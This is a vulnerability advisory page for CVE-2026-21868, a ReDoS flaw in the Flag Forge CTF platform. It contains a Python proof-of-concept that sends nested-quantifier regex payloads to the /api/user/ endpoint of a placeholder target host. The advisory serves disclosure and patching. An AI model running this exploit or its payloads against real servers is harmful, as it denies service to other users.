Security Vulnerability Report
中文
CVE-2026-21868 CVSS 7.5 HIGH

CVE-2026-21868

Published: 2026-01-08 01:15:55
Last Modified: 2026-01-20 18:47:56

Description

Flag Forge is a Capture The Flag (CTF) platform. Versions 2.3.2 and below have a Regular Expression Denial of Service (ReDoS) vulnerability in the user profile API endpoint (/api/user/[username]). The application constructs a regular expression dynamically using unescaped user input (the username parameter). An attacker can exploit this by sending a specially crafted username containing regex meta-characters (e.g., deeply nested groups or quantifiers), causing the MongoDB regex engine to consume excessive CPU resources. This can lead to Denial of Service for other users. The issue is fixed in version 2.3.3. To workaround this issue, implement a Web Application Firewall (WAF) rule to block requests containing regex meta-characters in the URL path.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:flagforge:flagforge:*:*:*:*:*:*:*:* - VULNERABLE
Flag Forge < 2.3.3
Flag Forge <= 2.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time import threading # CVE-2026-21868 PoC - Flag Forge ReDoS Exploit # Target: /api/user/[username] endpoint def exploit_redos(target_url, username_payload): """ Send malicious username with regex meta-characters to trigger ReDoS vulnerability """ endpoint = f"{target_url}/api/user/{username_payload}" try: response = requests.get(endpoint, timeout=30) return response.status_code, response.elapsed.total_seconds() except requests.exceptions.Timeout: return 'timeout', 30 # Malicious payloads - regex meta-characters causing ReDoS payloads = [ # Nested groups causing catastrophic backtracking '(((a)))' * 10, # Greedy quantifier with overlapping pattern '(a+)+' + 'a' * 20, # Alternation with greedy quantifier '(a|a)+' + 'aaaaaa', # Nested quantifiers '((.*)*)' + 'x' * 30, # Complex pattern with multiple branches '(a+)*b' + 'a' * 50 ] target = 'http://target-flagforge-instance.com' print('[*] CVE-2026-21868 Flag Forge ReDoS PoC') print(f'[*] Target: {target}') print('[*] Sending malicious payloads...\n') for i, payload in enumerate(payloads, 1): print(f'[*] Payload {i}: {payload[:50]}...') status, elapsed = exploit_redos(target, payload) print(f' Status: {status}, Response time: {elapsed:.2f}s') if elapsed > 10: print(' [!] Potential ReDoS triggered - high response time detected') print('\n[*] PoC execution completed')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21868", "sourceIdentifier": "[email protected]", "published": "2026-01-08T01:15:55.483", "lastModified": "2026-01-20T18:47:56.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flag Forge is a Capture The Flag (CTF) platform. Versions 2.3.2 and below have a Regular Expression Denial of Service (ReDoS) vulnerability in the user profile API endpoint (/api/user/[username]). The application constructs a regular expression dynamically using unescaped user input (the username parameter). An attacker can exploit this by sending a specially crafted username containing regex meta-characters (e.g., deeply nested groups or quantifiers), causing the MongoDB regex engine to consume excessive CPU resources. This can lead to Denial of Service for other users. The issue is fixed in version 2.3.3. To workaround this issue, implement a Web Application Firewall (WAF) rule to block requests containing regex meta-characters in the URL path."}, {"lang": "es", "value": "Flag Forge es una plataforma de Capture The Flag (CTF). Las versiones 2.3.2 e inferiores tienen una vulnerabilidad de denegación de servicio por expresión regular (ReDoS) en el endpoint de la API de perfil de usuario (/api/user/[username]). La aplicación construye una expresión regular dinámicamente utilizando entrada de usuario sin escapar (el parámetro username). Un atacante puede explotar esto enviando un nombre de usuario especialmente diseñado que contenga metacaracteres de regex (p. ej., grupos anidados profundamente o cuantificadores), lo que provoca que el motor de regex de MongoDB consuma recursos excesivos de CPU. Esto puede llevar a la denegación de servicio para otros usuarios. El problema está solucionado en la versión 2.3.3. Como solución alternativa a este problema, implemente una regla de cortafuegos de aplicaciones web (WAF) para bloquear las solicitudes que contengan metacaracteres de regex en la ruta URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flagforge:flagforge:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0", "versionEndExcluding": "2.3.3", "matchCriteriaId": "FF98A9BF-17BE-4FBF-9D72-725005A165C8"}]}]}], "references": [{"url": "https://github.com/FlagForgeCTF/flagForge/security/advisories/GHSA-949h-9824-xmcx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}